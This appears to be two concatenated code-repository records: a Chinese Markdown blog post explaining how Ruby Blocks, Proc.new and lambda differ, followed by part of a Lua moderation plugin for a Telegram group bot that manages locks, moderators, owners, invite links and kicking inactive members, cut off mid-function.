title: 【Ruby】Block/Proc/lambda的区别 date: 2016-03-14 12:38:56 tags: ["Ruby"] categories: ["程序开发"] --- 在Ruby语言中,Block 与 Proc 是不同的概念。而 Proc 和 lambda 虽然都是 Proc 对象,在进行处理时会有若干差别。 ### Block 和 Proc.new Block 是代码块,而 Proc 是对象。参数列别中最多只能有一个 Block ,但是可以有多个 Proc 或 Lambda。 Block 是指通过 do~end 或 {} 来进行传递的参数,通常与 yield 来搭配进行使用。 例如: ``` def method_block yield end method_block { p "block" } #=> "block" ``` 将 Block 进行对象化就是 Proc.new 。 Proc 对象一般通过 call 方法来进行调用: ``` def method_block(&block) block.call end method_block { p "block" } #=> "block" ``` Proc.new 使用参数的情况: ``` proc = Proc.new{ |a| p a * 2 } proc.call(2) #=> 4 ``` <!-- more --> ### Proc.new 和 lambda lambda 函数是用于生成 Proc 对象的函数,与 Proc.new 一样通过 call 来进行调用。 ``` def method_lambda lambda1 = lambda{ p "lambda" } lambda1.call end method_lambda #=> "lambda" ``` 但与 Proc.new 相比,两者有两点不通 #### 参数数目 lambda 会检查参数的个数,如果参数个数与规定参数个数不同的情况下,lambda 会报错。而 Proc.new 则不会进行参数检查。 Proc.new的情况: ``` proc = Proc.new{ |a,b,c| p "#{a},#{b},#{c}" } proc.call(2, 4) #=> 2,4,nil ``` lambda的情况下: ``` lambda1 = lambda{ |a,b,c| p "#{a},#{b},#{c}" } lambda1.call(2, 4) #=> wrong number of arguments (2 for 3) (ArgumentError) ``` #### return 与 break 等关键字的执行 Proc.new的情况下: ``` def method_proc proc = Proc.new { return p "proc" } proc.call p "method_proc" end #=>"proc" ``` lambda的情况下: ``` def method_lambda lambda1 = lambda{ return p "lambda" } lambda1.call p "method_lambda" end method_lambda #=>"lambda" # "method_lambda" ``` 在 `Proc.new` 的情况下, `return` 会从函数自身 method_proc 中跳出。而 `lambda` 则会回到 `method_lambda` 中。
AchillesSatan/MyBlog
source/_posts/2016031401.md
Markdown
gpl-2.0
2,122
do -- Check Member local function check_member_autorealm(cb_extra, success, result) local receiver = cb_extra.receiver local data = cb_extra.data local msg = cb_extra.msg for k,v in pairs(result.members) do local member_id = v.id if member_id ~= our_id then -- Group configuration data[tostring(msg.to.id)] = { group_type = 'Realm', settings = { set_name = string.gsub(msg.to.print_name, '_', ' '), lock_name = 'yes', lock_photo = 'no', lock_member = 'no', flood = 'yes' } } save_data(_config.moderation.data, data) local realms = 'realms' if not data[tostring(realms)] then data[tostring(realms)] = {} save_data(_config.moderation.data, data) end data[tostring(realms)][tostring(msg.to.id)] = msg.to.id save_data(_config.moderation.data, data) return send_large_msg(receiver, 'Welcome to your new realm !') end end end local function check_member_realm_add(cb_extra, success, result) local receiver = cb_extra.receiver local data = cb_extra.data local msg = cb_extra.msg for k,v in pairs(result.members) do local member_id = v.id if member_id ~= our_id then -- Group configuration data[tostring(msg.to.id)] = { group_type = 'Realm', settings = { set_name = string.gsub(msg.to.print_name, '_', ' '), lock_name = 'yes', lock_photo = 'no', lock_member = 'no', flood = 'yes' } } save_data(_config.moderation.data, data) local realms = 'realms' if not data[tostring(realms)] then data[tostring(realms)] = {} save_data(_config.moderation.data, data) end data[tostring(realms)][tostring(msg.to.id)] = msg.to.id save_data(_config.moderation.data, data) return send_large_msg(receiver, 'Realm has been added!') end end end function check_member_group(cb_extra, success, result) local receiver = cb_extra.receiver local data = cb_extra.data local msg = cb_extra.msg for k,v in pairs(result.members) do local member_id = v.id if member_id ~= our_id then -- Group configuration data[tostring(msg.to.id)] = { group_type = 'Group', moderators = {}, set_owner = member_id , settings = { set_name = string.gsub(msg.to.print_name, '_', ' '), lock_name = 'yes', lock_photo = 'no', lock_member = 'no', flood = 'yes', } } save_data(_config.moderation.data, data) local groups = 'groups' if not data[tostring(groups)] then data[tostring(groups)] = {} save_data(_config.moderation.data, data) end data[tostring(groups)][tostring(msg.to.id)] = msg.to.id save_data(_config.moderation.data, data) return send_large_msg(receiver, 'You have been promoted as the owner.') end end end local function check_member_modadd(cb_extra, success, result) local receiver = cb_extra.receiver local data = cb_extra.data local msg = cb_extra.msg for k,v in pairs(result.members) do local member_id = v.id if member_id ~= our_id then -- Group configuration data[tostring(msg.to.id)] = { group_type = 'Group', moderators = {}, set_owner = member_id , settings = { set_name = string.gsub(msg.to.print_name, '_', ' '), lock_name = 'yes', lock_photo = 'no', lock_member = 'no', flood = 'yes', } } save_data(_config.moderation.data, data) local groups = 'groups' if not data[tostring(groups)] then data[tostring(groups)] = {} save_data(_config.moderation.data, data) end data[tostring(groups)][tostring(msg.to.id)] = msg.to.id save_data(_config.moderation.data, data) return send_large_msg(receiver, 'Group is added and you have been promoted as the owner ') end end end local function automodadd(msg) local data = load_data(_config.moderation.data) if msg.action.type == 'chat_created' then receiver = get_receiver(msg) chat_info(receiver, check_member_group,{receiver=receiver, data=data, msg = msg}) end end local function autorealmadd(msg) local data = load_data(_config.moderation.data) if msg.action.type == 'chat_created' then receiver = get_receiver(msg) chat_info(receiver, check_member_autorealm,{receiver=receiver, data=data, msg = msg}) end end local function check_member_realmrem(cb_extra, success, result) local receiver = cb_extra.receiver local data = cb_extra.data local msg = cb_extra.msg for k,v in pairs(result.members) do local member_id = v.id if member_id ~= our_id then -- Realm configuration removal data[tostring(msg.to.id)] = nil save_data(_config.moderation.data, data) local realms = 'realms' if not data[tostring(realms)] then data[tostring(realms)] = nil save_data(_config.moderation.data, data) end data[tostring(realms)][tostring(msg.to.id)] = nil save_data(_config.moderation.data, data) return send_large_msg(receiver, 'Realm has been removed!') end end end local function check_member_modrem(cb_extra, success, result) local receiver = cb_extra.receiver local data = cb_extra.data local msg = cb_extra.msg for k,v in pairs(result.members) do local member_id = v.id if member_id ~= our_id then -- Group configuration removal data[tostring(msg.to.id)] = nil save_data(_config.moderation.data, data) local groups = 'groups' if not data[tostring(groups)] then data[tostring(groups)] = nil save_data(_config.moderation.data, data) end data[tostring(groups)][tostring(msg.to.id)] = nil save_data(_config.moderation.data, data) return send_large_msg(receiver, 'Group has been removed') end end end --End Check Member local function show_group_settingsmod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local data = load_data(_config.moderation.data) if data[tostring(msg.to.id)] then if data[tostring(msg.to.id)]['settings']['flood_msg_max'] then NUM_MSG_MAX = tonumber(data[tostring(msg.to.id)]['settings']['flood_msg_max']) print('custom'..NUM_MSG_MAX) else NUM_MSG_MAX = 5 end end local bots_protection = "Yes" if data[tostring(msg.to.id)]['settings']['lock_bots'] then bots_protection = data[tostring(msg.to.id)]['settings']['lock_bots'] end local leave_ban = "no" if data[tostring(msg.to.id)]['settings']['leave_ban'] then leave_ban = data[tostring(msg.to.id)]['settings']['leave_ban'] end local settings = data[tostring(target)]['settings'] local text = "Group settings:\nLock group name : "..settings.lock_name.."\nLock group photo : "..settings.lock_photo.."\nLock group member : "..settings.lock_member.."\nLock group leave : "..leave_ban.."\nflood sensitivity : "..NUM_MSG_MAX.."\nBot protection : "..bots_protection--"\nPublic: "..public return text end local function set_descriptionmod(msg, data, target, about) if not is_momod(msg) then return "For moderators only!" end local data_cat = 'description' data[tostring(target)][data_cat] = about save_data(_config.moderation.data, data) return 'Set group description to:\n'..about end local function get_description(msg, data) local data_cat = 'description' if not data[tostring(msg.to.id)][data_cat] then return 'No description available.' end local about = data[tostring(msg.to.id)][data_cat] local about = string.gsub(msg.to.print_name, "_", " ")..':\n\n'..about return 'About '..about end local function lock_group_arabic(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_arabic_lock = data[tostring(target)]['settings']['lock_arabic'] if group_arabic_lock == 'yes' then return 'Arabic is already locked' else data[tostring(target)]['settings']['lock_arabic'] = 'yes' save_data(_config.moderation.data, data) return 'Arabic has been locked' end end local function unlock_group_arabic(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_arabic_lock = data[tostring(target)]['settings']['lock_arabic'] if group_arabic_lock == 'no' then return 'Arabic is already unlocked' else data[tostring(target)]['settings']['lock_arabic'] = 'no' save_data(_config.moderation.data, data) return 'Arabic has been unlocked' end end local function lock_group_bots(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_bots_lock = data[tostring(target)]['settings']['lock_bots'] if group_bots_lock == 'yes' then return 'Bots protection is already enabled' else data[tostring(target)]['settings']['lock_bots'] = 'yes' save_data(_config.moderation.data, data) return 'Bots protection has been enabled' end end local function unlock_group_bots(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_bots_lock = data[tostring(target)]['settings']['lock_bots'] if group_bots_lock == 'no' then return 'Bots protection is already disabled' else data[tostring(target)]['settings']['lock_bots'] = 'no' save_data(_config.moderation.data, data) return 'Bots protection has been disabled' end end local function lock_group_namemod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_name_set = data[tostring(target)]['settings']['set_name'] local group_name_lock = data[tostring(target)]['settings']['lock_name'] if group_name_lock == 'yes' then return 'Group name is already locked' else data[tostring(target)]['settings']['lock_name'] = 'yes' save_data(_config.moderation.data, data) rename_chat('chat#id'..target, group_name_set, ok_cb, false) return 'Group name has been locked' end end local function unlock_group_namemod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_name_set = data[tostring(target)]['settings']['set_name'] local group_name_lock = data[tostring(target)]['settings']['lock_name'] if group_name_lock == 'no' then return 'Group name is already unlocked' else data[tostring(target)]['settings']['lock_name'] = 'no' save_data(_config.moderation.data, data) return 'Group name has been unlocked' end end local function lock_group_floodmod(msg, data, target) if not is_owner(msg) then return "Only admins can do it for now" end local group_flood_lock = data[tostring(target)]['settings']['flood'] if group_flood_lock == 'yes' then return 'Group flood is locked' else data[tostring(target)]['settings']['flood'] = 'yes' save_data(_config.moderation.data, data) return 'Group flood has been locked' end end local function unlock_group_floodmod(msg, data, target) if not is_owner(msg) then return "Only admins can do it for now" end local group_flood_lock = data[tostring(target)]['settings']['flood'] if group_flood_lock == 'no' then return 'Group flood is not locked' else data[tostring(target)]['settings']['flood'] = 'no' save_data(_config.moderation.data, data) return 'Group flood has been unlocked' end end local function lock_group_membermod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_member_lock = data[tostring(target)]['settings']['lock_member'] if group_member_lock == 'yes' then return 'Group members are already locked' else data[tostring(target)]['settings']['lock_member'] = 'yes' save_data(_config.moderation.data, data) end return 'Group members has been locked' end local function unlock_group_membermod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_member_lock = data[tostring(target)]['settings']['lock_member'] if group_member_lock == 'no' then return 'Group members are not locked' else data[tostring(target)]['settings']['lock_member'] = 'no' save_data(_config.moderation.data, data) return 'Group members has been unlocked' end end local function set_public_membermod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_member_lock = data[tostring(target)]['settings']['public'] if group_member_lock == 'yes' then return 'Group is already public' else data[tostring(target)]['settings']['public'] = 'yes' save_data(_config.moderation.data, data) end return 'Group is now: public' end local function unset_public_membermod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_member_lock = data[tostring(target)]['settings']['public'] if group_member_lock == 'no' then return 'Group is not public' else data[tostring(target)]['settings']['public'] = 'no' save_data(_config.moderation.data, data) return 'Group is now: not public' end end local function lock_group_leave(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local leave_ban = data[tostring(msg.to.id)]['settings']['leave_ban'] if leave_ban == 'yes' then return 'Leaving users will be banned' else data[tostring(msg.to.id)]['settings']['leave_ban'] = 'yes' save_data(_config.moderation.data, data) end return 'Leaving users will be banned' end local function unlock_group_leave(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local leave_ban = data[tostring(msg.to.id)]['settings']['leave_ban'] if leave_ban == 'no' then return 'Leaving users will not be banned' else data[tostring(msg.to.id)]['settings']['leave_ban'] = 'no' save_data(_config.moderation.data, data) return 'Leaving users will not be banned' end end local function unlock_group_photomod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local group_photo_lock = data[tostring(target)]['settings']['lock_photo'] if group_photo_lock == 'no' then return 'Group photo is not locked' else data[tostring(target)]['settings']['lock_photo'] = 'no' save_data(_config.moderation.data, data) return 'Group photo has been unlocked' end end local function set_rulesmod(msg, data, target) if not is_momod(msg) then return "For moderators only!" end local data_cat = 'rules' data[tostring(target)][data_cat] = rules save_data(_config.moderation.data, data) return 'Set group rules to:\n'..rules end local function modadd(msg) -- superuser and admins only (because sudo are always has privilege) if not is_admin(msg) then return "You're not admin" end local data = load_data(_config.moderation.data) if is_group(msg) then return 'Group is already added.' end receiver = get_receiver(msg) chat_info(receiver, check_member_modadd,{receiver=receiver, data=data, msg = msg}) end local function realmadd(msg) -- superuser and admins only (because sudo are always has privilege) if not is_admin(msg) then return "You're not admin" end local data = load_data(_config.moderation.data) if is_realm(msg) then return 'Realm is already added.' end receiver = get_receiver(msg) chat_info(receiver, check_member_realm_add,{receiver=receiver, data=data, msg = msg}) end -- Global functions function modrem(msg) -- superuser and admins only (because sudo are always has privilege) if not is_admin(msg) then return "You're not admin" end local data = load_data(_config.moderation.data) if not is_group(msg) then return 'Group is not added.' end receiver = get_receiver(msg) chat_info(receiver, check_member_modrem,{receiver=receiver, data=data, msg = msg}) end function realmrem(msg) -- superuser and admins only (because sudo are always has privilege) if not is_admin(msg) then return "You're not admin" end local data = load_data(_config.moderation.data) if not is_realm(msg) then return 'Realm is not added.' end receiver = get_receiver(msg) chat_info(receiver, check_member_realmrem,{receiver=receiver, data=data, msg = msg}) end local function get_rules(msg, data) local data_cat = 'rules' if not data[tostring(msg.to.id)][data_cat] then return 'No rules available.' end local rules = data[tostring(msg.to.id)][data_cat] local rules = 'Chat rules:\n'..rules return rules end local function set_group_photo(msg, success, result) local data = load_data(_config.moderation.data) local receiver = get_receiver(msg) if success then local file = 'data/photos/chat_photo_'..msg.to.id..'.jpg' print('File downloaded to:', result) os.rename(result, file) print('File moved to:', file) chat_set_photo (receiver, file, ok_cb, false) data[tostring(msg.to.id)]['settings']['set_photo'] = file save_data(_config.moderation.data, data) data[tostring(msg.to.id)]['settings']['lock_photo'] = 'yes' save_data(_config.moderation.data, data) send_large_msg(receiver, 'Photo saved!', ok_cb, false) else print('Error downloading: '..msg.id) send_large_msg(receiver, 'Failed, please try again!', ok_cb, false) end end local function promote(receiver, member_username, member_id) local data = load_data(_config.moderation.data) local group = string.gsub(receiver, 'chat#id', '') if not data[group] then return send_large_msg(receiver, 'Group is not added.') end if data[group]['moderators'][tostring(member_id)] then return send_large_msg(receiver, member_username..' is already a moderator.') end data[group]['moderators'][tostring(member_id)] = member_username save_data(_config.moderation.data, data) return send_large_msg(receiver, member_username..' has been promoted.') end local function promote_by_reply(extra, success, result) local msg = result local full_name = (msg.from.first_name or '')..' '..(msg.from.last_name or '') if msg.from.username then member_username = '@'.. msg.from.username else member_username = full_name end local member_id = msg.from.id if msg.to.type == 'chat' then return promote(get_receiver(msg), member_username, member_id) end end local function demote(receiver, member_username, member_id) local data = load_data(_config.moderation.data) local group = string.gsub(receiver, 'chat#id', '') if not data[group] then return send_large_msg(receiver, 'Group is not added.') end if not data[group]['moderators'][tostring(member_id)] then return send_large_msg(receiver, member_username..' is not a moderator.') end data[group]['moderators'][tostring(member_id)] = nil save_data(_config.moderation.data, data) return send_large_msg(receiver, member_username..' has been demoted.') end local function demote_by_reply(extra, success, result) local msg = result local full_name = (msg.from.first_name or '')..' '..(msg.from.last_name or '') if msg.from.username then member_username = '@'..msg.from.username else member_username = full_name end local member_id = msg.from.id if msg.to.type == 'chat' then return demote(get_receiver(msg), member_username, member_id) end end local function setowner_by_reply(extra, success, result) local msg = result local receiver = get_receiver(msg) local data = load_data(_config.moderation.data) local name_log = msg.from.print_name:gsub("_", " ") data[tostring(msg.to.id)]['set_owner'] = tostring(msg.from.id) save_data(_config.moderation.data, data) savelog(msg.to.id, name_log.." ["..msg.from.id.."] setted ["..msg.from.id.."] as owner") local text = msg.from.print_name:gsub("_", " ").." is the owner now" return send_large_msg(receiver, text) end local function promote_demote_res(extra, success, result) --vardump(result) --vardump(extra) local member_id = result.id local member_username = "@"..result.username local chat_id = extra.chat_id local mod_cmd = extra.mod_cmd local receiver = "chat#id"..chat_id if mod_cmd == 'promote' then return promote(receiver, member_username, member_id) elseif mod_cmd == 'demote' then return demote(receiver, member_username, member_id) end end local function modlist(msg) local data = load_data(_config.moderation.data) local groups = "groups" if not data[tostring(groups)][tostring(msg.to.id)] then return 'Group is not added.' end -- determine if table is empty if next(data[tostring(msg.to.id)]['moderators']) == nil then --fix way return 'No moderator in this group.' end local i = 1 local message = '\nList of moderators for ' .. string.gsub(msg.to.print_name, '_', ' ') .. ':\n' for k,v in pairs(data[tostring(msg.to.id)]['moderators']) do message = message ..i..' - '..v..' [' ..k.. '] \n' i = i + 1 end return message end local function callbackres(extra, success, result) --vardump(result) local user = result.id local name = string.gsub(result.print_name, "_", " ") local chat = 'chat#id'..extra.chatid send_large_msg(chat, user..'\n'..name) return user end local function help() local help_text = tostring(_config.help_text) return help_text end local function cleanmember(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name for k,v in pairs(result.members) do kick_user(v.id, result.id) end end local function killchat(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name for k,v in pairs(result.members) do kick_user_any(v.id, result.id) end end local function killrealm(cb_extra, success, result) local receiver = cb_extra.receiver local chat_id = "chat#id"..result.id local chatname = result.print_name for k,v in pairs(result.members) do kick_user_any(v.id, result.id) end end local function user_msgs(user_id, chat_id) local user_info local uhash = 'user:'..user_id local user = redis:hgetall(uhash) local um_hash = 'msgs:'..user_id..':'..chat_id user_info = tonumber(redis:get(um_hash) or 0) return user_info end local function kick_zero(cb_extra, success, result) local chat_id = cb_extra.chat_id local chat = "chat#id"..chat_id local ci_user local re_user for k,v in pairs(result.members) do local si = false ci_user = v.id local hash = 'chat:'..chat_id..':users' local users = redis:smembers(hash) for i = 1, #users do re_user = users[i] if tonumber(ci_user) == tonumber(re_user) then si = true end end if not si then if ci_user ~= our_id then if not is_momod2(ci_user, chat_id) then chat_del_user(chat, 'user#id'..ci_user, ok_cb, true) end end end end end local function kick_inactive(chat_id, num, receiver) local hash = 'chat:'..chat_id..':users' local users = redis:smembers(hash) -- Get user info for i = 1, #users do local user_id = users[i] local user_info = user_msgs(user_id, chat_id) local nmsg = user_info if tonumber(nmsg) < tonumber(num) then if not is_momod2(user_id, chat_id) then chat_del_user('chat#id'..chat_id, 'user#id'..user_id, ok_cb, true) end end end return chat_info(receiver, kick_zero, {chat_id = chat_id}) end local function run(msg, matches) local data = load_data(_config.moderation.data) local receiver = get_receiver(msg) local name_log = user_print_name(msg.from) local group = msg.to.id if msg.media then if msg.media.type == 'photo' and data[tostring(msg.to.id)]['settings']['set_photo'] == 'waiting' and is_chat_msg(msg) and is_momod(msg) then load_photo(msg.id, set_group_photo, msg) end end if matches[1] == 'add' and not matches[2] then if is_realm(msg) then return 'Error: Already a realm.' end print("group "..msg.to.print_name.."("..msg.to.id..") added") return modadd(msg) end if matches[1] == 'add' and matches[2] == 'realm' then if is_group(msg) then return 'Error: Already a group.' end print("group "..msg.to.print_name.."("..msg.to.id..") added as a realm") return realmadd(msg) end if matches[1] == 'rem' and not matches[2] then print("group "..msg.to.print_name.."("..msg.to.id..") removed") return modrem(msg) end if matches[1] == 'rem' and matches[2] == 'realm' then print("group "..msg.to.print_name.."("..msg.to.id..") removed as a realm") return realmrem(msg) end if matches[1] == 'chat_created' and msg.from.id == 0 and group_type == "group" then return automodadd(msg) end if matches[1] == 'chat_created' and msg.from.id == 0 and group_type == "realm" then return autorealmadd(msg) end if msg.to.id and data[tostring(msg.to.id)] then local settings = data[tostring(msg.to.id)]['settings'] if matches[1] == 'chat_add_user' then if not msg.service then return "Are you trying to troll me?" end local group_member_lock = settings.lock_member local user = 'user#id'..msg.action.user.id local chat = 'chat#id'..msg.to.id if group_member_lock == 'yes' and not is_owner2(msg.action.user.id, msg.to.id) then chat_del_user(chat, user, ok_cb, true) elseif group_member_lock == 'yes' and tonumber(msg.from.id) == tonumber(our_id) then return nil elseif group_member_lock == 'no' then return nil end end if matches[1] == 'chat_del_user' then if not msg.service then -- return "Are you trying to troll me?" end local user = 'user#id'..msg.action.user.id local chat = 'chat#id'..msg.to.id savelog(msg.to.id, name_log.." ["..msg.from.id.."] deleted user "..user) end if matches[1] == 'chat_delete_photo' then if not msg.service then return "Are you trying to troll me?" end local group_photo_lock = settings.lock_photo if group_photo_lock == 'yes' then local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id redis:incr(picturehash) --- local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id local picprotectionredis = redis:get(picturehash) if picprotectionredis then if tonumber(picprotectionredis) == 4 and not is_owner(msg) then kick_user(msg.from.id, msg.to.id) end if tonumber(picprotectionredis) == 8 and not is_owner(msg) then ban_user(msg.from.id, msg.to.id) local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id redis:set(picturehash, 0) end end savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to deleted picture but failed ") chat_set_photo(receiver, settings.set_photo, ok_cb, false) elseif group_photo_lock == 'no' then return nil end end if matches[1] == 'chat_change_photo' and msg.from.id ~= 0 then if not msg.service then return "Are you trying to troll me?" end local group_photo_lock = settings.lock_photo if group_photo_lock == 'yes' then local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id redis:incr(picturehash) --- local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id local picprotectionredis = redis:get(picturehash) if picprotectionredis then if tonumber(picprotectionredis) == 4 and not is_owner(msg) then kick_user(msg.from.id, msg.to.id) end if tonumber(picprotectionredis) == 8 and not is_owner(msg) then ban_user(msg.from.id, msg.to.id) local picturehash = 'picture:changed:'..msg.to.id..':'..msg.from.id redis:set(picturehash, 0) end end savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to change picture but failed ") chat_set_photo(receiver, settings.set_photo, ok_cb, false) elseif group_photo_lock == 'no' then return nil end end if matches[1] == 'chat_rename' then if not msg.service then return "Are you trying to troll me?" end local group_name_set = settings.set_name local group_name_lock = settings.lock_name local to_rename = 'chat#id'..msg.to.id if group_name_lock == 'yes' then if group_name_set ~= tostring(msg.to.print_name) then local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id redis:incr(namehash) local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id local nameprotectionredis = redis:get(namehash) if nameprotectionredis then if tonumber(nameprotectionredis) == 4 and not is_owner(msg) then kick_user(msg.from.id, msg.to.id) end if tonumber(nameprotectionredis) == 8 and not is_owner(msg) then ban_user(msg.from.id, msg.to.id) local namehash = 'name:changed:'..msg.to.id..':'..msg.from.id redis:set(namehash, 0) end end savelog(msg.to.id, name_log.." ["..msg.from.id.."] tried to change name but failed ") rename_chat(to_rename, group_name_set, ok_cb, false) end elseif group_name_lock == 'no' then return nil end end if matches[1] == 'setname' and is_momod(msg) then local new_name = string.gsub(matches[2], '_', ' ') data[tostring(msg.to.id)]['settings']['set_name'] = new_name save_data(_config.moderation.data, data) local group_name_set = data[tostring(msg.to.id)]['settings']['set_name'] local to_rename = 'chat#id'..msg.to.id rename_chat(to_rename, group_name_set, ok_cb, false) savelog(msg.to.id, "Group { "..msg.to.print_name.." } name changed to [ "..new_name.." ] by "..name_log.." ["..msg.from.id.."]") end if matches[1] == 'setphoto' and is_momod(msg) then data[tostring(msg.to.id)]['settings']['set_photo'] = 'waiting' save_data(_config.moderation.data, data) return 'Please send me new group photo now' end if matches[1] == 'promote' and not matches[2] then if not is_owner(msg) then return "Only the owner can prmote new moderators" end if type(msg.reply_id)~="nil" then msgr = get_message(msg.reply_id, promote_by_reply, false) end end if matches[1] == 'promote' and matches[2] then if not is_momod(msg) then return end if not is_owner(msg) then return "Only owner can promote" end local member = matches[2] savelog(msg.to.id, name_log.." ["..msg.from.id.."] promoted @".. member) local cbres_extra = { chat_id = msg.to.id, mod_cmd = 'promote', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') return res_user(username, promote_demote_res, cbres_extra) end if matches[1] == 'demote' and not matches[2] then if not is_owner(msg) then return "Only the owner can demote moderators" end if type(msg.reply_id)~="nil" then msgr = get_message(msg.reply_id, demote_by_reply, false) end end if matches[1] == 'demote' and matches[2] then if not is_momod(msg) then return end if not is_owner(msg) then return "Only owner can demote" end if string.gsub(matches[2], "@", "") == msg.from.username and not is_owner(msg) then return "You can't demote yourself" end local member = matches[2] savelog(msg.to.id, name_log.." ["..msg.from.id.."] demoted @".. member) local cbres_extra = { chat_id = msg.to.id, mod_cmd = 'demote', from_id = msg.from.id } local username = matches[2] local username = string.gsub(matches[2], '@', '') return res_user(username, promote_demote_res, cbres_extra) end if matches[1] == 'modlist' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group modlist") return modlist(msg) end if matches[1] == 'about' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group description") return get_description(msg, data) end if matches[1] == 'rules' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group rules") return get_rules(msg, data) end if matches[1] == 'set' then if matches[2] == 'rules' then rules = matches[3] local target = msg.to.id savelog(msg.to.id, name_log.." ["..msg.from.id.."] has changed group rules to ["..matches[3].."]") return set_rulesmod(msg, data, target) end if matches[2] == 'about' then local data = load_data(_config.moderation.data) local target = msg.to.id local about = matches[3] savelog(msg.to.id, name_log.." ["..msg.from.id.."] has changed group description to ["..matches[3].."]") return set_descriptionmod(msg, data, target, about) end end if matches[1] == 'lock' then local target = msg.to.id if matches[2] == 'name' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked name ") return lock_group_namemod(msg, data, target) end if matches[2] == 'member' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked member ") return lock_group_membermod(msg, data, target) end if matches[2] == 'flood' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked flood ") return lock_group_floodmod(msg, data, target) end if matches[2] == 'arabic' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked arabic ") return lock_group_arabic(msg, data, target) end if matches[2] == 'bots' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked bots ") return lock_group_bots(msg, data, target) end if matches[2] == 'leave' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] locked leaving ") return lock_group_leave(msg, data, target) end end if matches[1] == 'unlock' then local target = msg.to.id if matches[2] == 'name' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked name ") return unlock_group_namemod(msg, data, target) end if matches[2] == 'member' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked member ") return unlock_group_membermod(msg, data, target) end if matches[2] == 'photo' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked photo ") return unlock_group_photomod(msg, data, target) end if matches[2] == 'flood' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked flood ") return unlock_group_floodmod(msg, data, target) end if matches[2] == 'arabic' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked arabic ") return unlock_group_arabic(msg, data, target) end if matches[2] == 'bots' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked bots ") return unlock_group_bots(msg, data, target) end if matches[2] == 'leave' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] unlocked leaving ") return unlock_group_leave(msg, data, target) end end if matches[1] == 'settings' then local target = msg.to.id savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group settings ") return show_group_settingsmod(msg, data, target) end --[[if matches[1] == 'public' then local target = msg.to.id if matches[2] == 'yes' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] set group to: public") return set_public_membermod(msg, data, target) end if matches[2] == 'no' then savelog(msg.to.id, name_log.." ["..msg.from.id.."] set group to: not public") return unset_public_membermod(msg, data, target) end end]] if matches[1] == 'newlink' and not is_realm(msg) then if not is_momod(msg) then return "For moderators only!" end local function callback (extra , success, result) local receiver = 'chat#'..msg.to.id if success == 0 then return send_large_msg(receiver, '*Error: Invite link failed* \nReason: Not creator.') end send_large_msg(receiver, "Created a new link") data[tostring(msg.to.id)]['settings']['set_link'] = result save_data(_config.moderation.data, data) end local receiver = 'chat#'..msg.to.id savelog(msg.to.id, name_log.." ["..msg.from.id.."] revoked group link ") return export_chat_link(receiver, callback, true) end if matches[1] == 'link' then if not is_momod(msg) then return "For moderators only!" end local group_link = data[tostring(msg.to.id)]['settings']['set_link'] if not group_link then return "Create a link using /newlink first !" end savelog(msg.to.id, name_log.." ["..msg.from.id.."] requested group link ["..group_link.."]") return "Group link:\n"..group_link end if matches[1] == 'setowner' and matches[2] then if not is_owner(msg) then return "For owner only!" end data[tostring(msg.to.id)]['set_owner'] = matches[2] save_data(_config.moderation.data, data) savelog(msg.to.id, name_log.." ["..msg.from.id.."] set ["..matches[2].."] as owner") local text = matches[2].." added as owner" return text end if matches[1] == 'setowner' and not matches[2] then if not is_owner(msg) then return "only for the owner!" end if type(msg.reply_id)~="nil" then msgr = get_message(msg.reply_id, setowner_by_reply, false) end end if matches[1] == 'owner' then local group_owner = data[tostring(msg.to.id)]['set_owner'] local user_info = redis:hgetall('user:'..group_owner) if not group_owner then return "no owner,ask admins in support groups to set owner for your group" end savelog(msg.to.id, name_log.." ["..msg.from.id.."] used /owner") if user_info.username then return "Group onwer is @"..user_info.username.." ["..group_owner.."]" else return "Group owner is ["..group_owner..']' end end if matches[1] == 'setgpowner' then local receiver = "chat#id"..matches[2] if not is_admin(msg) then return "For admins only!" end data[tostring(matches[2])]['set_owner'] = matches[3] save_data(_config.moderation.data, data) local text = matches[3].." added as owner" send_large_msg(receiver, text) return end if matches[1] == 'setflood' then if not is_momod(msg) then return "For moderators only!" end if tonumber(matches[2]) < 5 or tonumber(matches[2]) > 20 then return "Wrong number,range is [5-20]" 